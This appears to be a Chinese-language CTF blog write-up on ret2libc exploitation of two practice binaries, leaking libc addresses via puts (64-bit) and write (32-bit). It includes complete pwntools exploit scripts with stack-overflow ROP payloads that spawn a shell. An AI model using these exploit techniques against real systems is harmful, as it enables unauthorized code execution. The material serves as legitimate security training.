关于ret2libc 的泄露 puts(64位)+write(32位)

目录

puts64位

write(32位)


原理:在程序运行中,当函数运行过一次之后,会将函数的地址存在got表中,我们可以利用输出函数对函数地址进行泄露

puts64位

题目

基础检查,只有NX保护

丢入ida

第二个read 明显存在栈溢出

寻找system

发现找不到system 和binsh

也没有flag的字符,初步认为要泄露libc

接下来开始payload的构造

注意64位要用寄存器来传参

用ROR-gadget寻找合适的寄存器

泄露出read的真实地址

payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)

 下面是接收数据

read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#read=u64(io.recv(6).ljust(8,b'\x00'))

#主要使用第一个,第二个有数据干扰

#第一个的原理是我们的地址都是'\x7f'开头的,使用只有遇到'\x7f'才会开始接收

接下俩找libc版本又两种方法

一个是去下面网站寻找

LibcSearcher

另一种方法是安装LibcSearcher的库

下面是安装教程

LibcSearcher安装

我使用的是第二种方法

泄露出地址之后开始寻找版本

#LibcSearcher的使用示例
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

选择正确的版本

最后再进行一次溢出

payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)

这里还要注意栈对齐,要用寄存器多绕一步来维持栈平衡

最后运行

最终exp

from pwn import*
from LibcSearcher import LibcSearcher
context.log_level='debug'
io=process('./libc')
elf=ELF('./libc')
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main=elf.sym['main']
io.recvuntil("Hacker,What's your name?")
io.sendline('2')
payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("the read really address\n")
print(hex(read))
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
io.send('2')
payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
io.interactive()

这里提醒一下读者,一定要注意数据的接收顺序来编写recvuntil,笔者在这里卡了好久

write(32位)

基础检查

题目

基础检擦,保护基本没开

丢入ida

很简单  read 函数存在明显的栈溢出

同样还是找不到system 也没有flag等字符

初步认为是libc 泄露

那么可以运用write函数来泄露got表

在ida中找到返回函数

使用payload1的构造为

payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)

这里要注意write函数要传入三个参数

ssize_t write(int fd,const void*buf,size_t count);
参数说明:
  fd:是文件描述符(write所对应的是写,即就是1)
  buf:通常是一个字符串,需要写入的字符串
  count:是每次写入的字节数

地址泄露后开始找libc

这次我选择用第一种方法

找到对应地址

开始找算偏移和构造system和binsh 的地址

base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8

最后再进行一次 栈溢出

payload=b'a'*140+p32(system)+p32(0)+p32(binsh)

运行exp

 

最终exp

from pwn import *
from LibcSearcher import LibcSearcher
sh=process('./123')
elf=ELF('./123')
read=elf.got['read']
write=elf.plt['write']

payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)
sh.send(payload)
read_got=u32(sh.recv())
print("the read of address :",hex(read_got))

base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8
payload=b'a'*140+p32(system)+p32(0)+p32(binsh)
sh.send(payload)
sh.interactive()

 笔者纯小白,有错误还望指出


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值